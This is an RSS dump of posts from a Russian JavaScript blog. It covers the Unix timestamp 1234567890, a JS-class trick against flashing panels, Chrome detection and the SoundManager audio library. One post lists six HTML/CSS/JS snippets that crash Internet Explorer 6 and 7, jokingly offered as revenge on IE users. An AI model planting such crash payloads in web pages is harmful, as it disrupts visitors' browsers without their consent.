JSToolbox - все о JavaScript » Разное http://www.jstoolbox.com Блог о программировании вообще и о JavaScript в частности, уроки, статьи, заметки, база знаний. Mon, 07 Mar 2011 18:19:17 +0000 http://wordpress.org/?v=2.8.4 en hourly 1 Знаменательное событие http://www.jstoolbox.com/2009/02/09/znamenatelnoe-sobytie/ http://www.jstoolbox.com/2009/02/09/znamenatelnoe-sobytie/#comments Sun, 08 Feb 2009 23:53:58 +0000 admin http://www.jstoolbox.com/?p=406 14 февраля 2009 года в 00 часов 31 минуту и 30 секунд произойдет самое знаменательное событие в истории человечества (шутка конечно же :) ) – таймстамп Unix, который отсчитывает свое время от 1 января 1970 года станет равным 1234567890. Замечательная новость для гиков :) .

Дабы проверить достоверность этого утверждения, наберите в консоли Perl:

perl -e "print scalar localtime(1234567890)"
]]> http://www.jstoolbox.com/2009/02/09/znamenatelnoe-sobytie/feed/ 3 Как назначать стили в зависимости от того, включен JavaScript или нет http://www.jstoolbox.com/2009/01/10/avoid-flashing-content/ http://www.jstoolbox.com/2009/01/10/avoid-flashing-content/#comments Sat, 10 Jan 2009 00:05:04 +0000 admin http://www.jstoolbox.com/?p=342 Совсем недавно случайно нашел замечательное решение одной небольшой проблемы, которая давно мозолила глаза. Причем решение из разряда таких, о которых думаешь: "Как это я раньше о таком не догадался...".

Итак суть проблемы - на странице имеется панель (на подобие этой), которая открывается/закрывается при щелчке на её заголовке. Причем при загрузке страницы, то есть в самом начале, она должна быть в закрытом состоянии.

]]> Совсем недавно случайно нашел замечательное решение одной небольшой проблемы, которая давно мозолила глаза. Причем решение из разряда таких, о которых думаешь: “Как это я раньше о таком не догадался…”.

Итак суть проблемы – на странице имеется панель (на подобие этой), которая открывается/закрывается при щелчке на её заголовке. Причем при загрузке страницы, то есть в самом начале, она должна быть в закрытом состоянии. Проблема в том, что нельзя просто так взять, и спрятать панель стилями, установив для неё display:hidden, ибо если у пользователя в браузере отключен JavaScript, то он вообще не увидит содержимого этой панели (не забываем, что скрипт должен быть ненавязчивым). А если же прятать содержимое при помощи JavaScript (например так: $(’#panel’).hide() ), то всякий раз при загрузке страницы будет происходить мелькание – то есть во время загрузки панель открыта, а как только страница загружена, она закрывается (кстати такой “баг” можно наблюдать на главной странице sape.ru под цифрами в центре страницы). Я также создал страницу где можно это посмотреть (конечно же вы не увидите мелькание если у вас супер быстрый интернет :) ).

Замечательное решение для этой проблемы зключается в том, чтобы использовать и стили и яваскрипт. В самом верху страницы нужно поставить всего одну строку кода:

document.getElementsByTagName('html')[0].className = 'JS';

Улавливаете суть? Если в браузере включен JavaScript, то для элемента html будет установлено имя класса JS, а значит мы сможем назначать стили элементам страницы в зависимости от того, включен ли JavaScript или нет. Итак, прячем (закрываем) панель:

.JS #panel {display:none}

Панель закрывается и открывается путем назначения ей стиля display, поэтому начальным положением ставим значение none. Созданный мною пример теперь будет работать так: смотреть пример.

Вот и все… Теперь неприятное мерцание не будет никого раздражать. Конечно, такие недостатки, как мелькание при загрузке страниц, нельзя назвать серьезной проблемой – это скорее мелочь, однако внимание к мелочам бывает очень даже полезным :)

Спонсор статьи:
Швейцарские часы – vacheron constantin
Отдам даром, приму в дар – объявления Казахстан
Объявления – продажа автомобилей в Одессе
]]> http://www.jstoolbox.com/2009/01/10/avoid-flashing-content/feed/ 13 Определение браузера Google Chrome и его версии на JavaScript http://www.jstoolbox.com/2008/09/04/google_chrome_opredelenije/ http://www.jstoolbox.com/2008/09/04/google_chrome_opredelenije/#comments Thu, 04 Sep 2008 20:36:26 +0000 admin http://www.jstoolbox.com/2008/09/04/google_chrome_opredelenije/ Определять тип браузера нужно не так уж и часто, но все же приходится. И в первую очередь из-за глюков и несовместимостей некоторых из них, когда для какого-либо браузера что-то нужно сделать по-особенному. И поскольку вчера в полку браузеров прибавление – вышел Google Chrome, то теоретически возможна и новая головная боль, в том случае, если если он будет несколько “глюкавым”.

Итак, тип браузера можно посмотреть в строке User Agent. Для Google Chrome она выглядит следующим образом:

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13

Следовательно, проверку выполняем следующим образом:

var is_chrome = false, chrome_version = false;
if (navigator.userAgent.toLowerCase().indexOf('chrome') > -1) {
	is_chrome = true;
	chrome_version = navigator.userAgent.replace(/^.*Chrome\/([\d\.]+).*$/i, '$1')
}

В результате переменные is_chrome и chrome_version будут указывать на то, является ли браузер Google Chrome и какая у него версия.

Думаю, пока рано бояться багов Хрома, но заранее знать как с ними бороться все же не помешает.

Успехов!

]]> http://www.jstoolbox.com/2008/09/04/google_chrome_opredelenije/feed/ 6 6 способов сломать Internet Explorer http://www.jstoolbox.com/2008/06/23/6-sposobov-slomat-internet-explorer/ http://www.jstoolbox.com/2008/06/23/6-sposobov-slomat-internet-explorer/#comments Mon, 23 Jun 2008 19:59:15 +0000 admin http://www.jstoolbox.com/2008/06/23/6-sposobov-slomat-internet-explorer/ Думаю всякий разработчик сталкивался с многочисленными проблемами и багами при разработке сайтов под IE 6. С прискорбием отмечу тот факт, что в ходе преодоления всех этих проблем было зверски убито огромное количество времени. Если же вам, уважаемые коллеги разработчики, все же захочется отомстить за это тем, кто еще пользуется IE 6, то вам возможно пригодятся приведенные ниже советы. Эти 6 способов являются кодами JavaScript, HTML, CSS, которые, присутствуя в веб странице, вызывают аварийное завершение работы Internet Explorer 6 (последний совет актуален также для седьмой версии):

Аварийное завершение работы Internet Explorer

Итак, первый метод – следующий цикл for:

<script>for (x in document.write) { document.write(x);}</script>

Метод номер два, обнаруженный в прошлом году:

<style>*{position:relative}</style><table><input></table>

Метод номер три – самый короткий из всех:

<STYLE>@;/*

Метод четыре – самый длинный из всех:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
  <head>
    <title>CRASH-IE</title>
    <style type="text/css">
      html, body {
      overflow: hidden;
      scrollbar-base-color: #330066;
      } 

      .crash {
      position:absolute;
      left:200px;
      top:200px;
      width:200px;
      }
    </style>

    <script type="text/javascript">
    function galgenfrist() {
        window.setTimeout('crashIE();',1000);
    }

    function crashIE() {
        var moveNode = document.getElementById("move");
        if(moveNode) {
            moveNode.style.top = "100px";
            moveNode.style.left = "200px";
        }
    }
    </script>
</head> 

<body onload="galgenfrist();">

    <h1>CRASH-IE</h1>
    <div id="move" class="crash">
    <table>
        <tbody>
        <tr>
        <td>
              <textarea></textarea>
        </td>
        </tr>
        </tbody>
    </table>
    </div> 

</body>
</html>

Метод номер пять – такое можно написать и случайно :) :

<body onLoad="window()">

Ну и последний, шестой метод уничтожает (по идее) Internet Explorer 7:

function getX( oElement ) {
    var iReturnValue = 0;
    while( oElement != null ) {
        iReturnValue += oElement.offsetLeft;
        oElement = oElement.offsetParent;
    }
    return iReturnValue;
}

На этом все. Ломайте на здоровье :)

Источник

]]> http://www.jstoolbox.com/2008/06/23/6-sposobov-slomat-internet-explorer/feed/ 16 SoundManager – JavaScript API для воспроизведения звука http://www.jstoolbox.com/2008/04/29/soundmanager-javascript-api-dlya-vosproizvedeniya-zvuka/ http://www.jstoolbox.com/2008/04/29/soundmanager-javascript-api-dlya-vosproizvedeniya-zvuka/#comments Tue, 29 Apr 2008 20:46:28 +0000 admin http://www.jstoolbox.com/2008/04/29/soundmanager-javascript-api-dlya-vosproizvedeniya-zvuka/ Пока что JavaScript не способен самостоятельно воспроизводить звуковые файлы, например mp3. Однако если призвать на помощь технологию Flash, то может получиться очень неплохая связка для работы с аудио. Именно такую библиотеку я совсем недавно обнаружил в сети. Итак, SoundManager – библиотека, при помощи которой можно добавлять звуковые ролики и управлять ими при помощи JavaScript. Само же воспроизведение звука будет осуществляться маленьким (всего 2,2 К) Flash файлом, который автоматически подгружается библиотекой. Само собой разумеется, что браузер должен поддерживать Flash (не менее 8-й версии).

Чтобы добавить SoundManager в веб страницу, нужно подключить скрипт soundmanager2.js:

<script type="text/javascript" src="soundmanager2.js"></script>

Когда SM2 загрузится и будет готов к работе, он вызовет либо событие soundManager.onload() в случае успешной загрузки либо soundManager.onerror() в случае ошибки. Если путь к файлу soundmanager2.swf не стандартный, то нужно указать путь к нему следующим образом:

soundManager.url = '../../soundmanager2.swf';

Теперь, когда библиотека готова к работе, можно создавать объект “звук” и воспроизводить аудио файлы. Простейший способ создать объект и воспроизвести файл в одном вызове:

soundManager.play('mySound','/path/to/some.mp3');

Здесь обязательно указать уникальный ID для создаваемого объекта.

Также можно создать объект, чтобы воспроизводить его по необходимости:

// создание объекта "звук"
soundManager.createSound('myNewSound','/path/to/some.mp3');

// установка громкости и воспроизведение
soundManager.play('myNewSound');
soundManager.setVolume('myNewSound',50);
soundManager.setPan('myNewSound',-100);

Более полный пример кода:

<script type="text/javascript" src="../../script/soundmanager2.js"></script>
<script type="text/javascript">
soundManager.url = '../../soundmanager2.swf'; // указываем путь к swf файлу
soundManager.debugMode = true;
soundManager.consoleOnly = false;

soundManager.onload = function() {
  // создаем аудио ролики
  soundManager.createSound('aDrumSound','../mpc/audio/AMB_SN13.mp3');
  soundManager.createSound({
    id: 'mySound',
    url: '../mpc/audio/sound.mp3',
    autoLoad: true
  });
}

function someSound(){
  soundManager.play('mySound');
}
</script>

Здесь, при помощи функций soundManager.createSound() создаются два аудио ролика, которым даются уникальные ID. Для их воспроизведения используется функция soundManager.play(). При вызове функции someSound() будет воспроизводиться ролик sound.mp3.

Это всего лишь простой пример. В API имеются функции для управления громкостью, перемоткой и др., можно устанавливать обработчики для событий onload, onfinish, onjustbeforefinishtime и т.д. Также поддерживается потоковое воспроизведение, автозагрузка, автозапуск и многое другое.

смотреть демоскачатьAPI

.

]]> http://www.jstoolbox.com/2008/04/29/soundmanager-javascript-api-dlya-vosproizvedeniya-zvuka/feed/ 3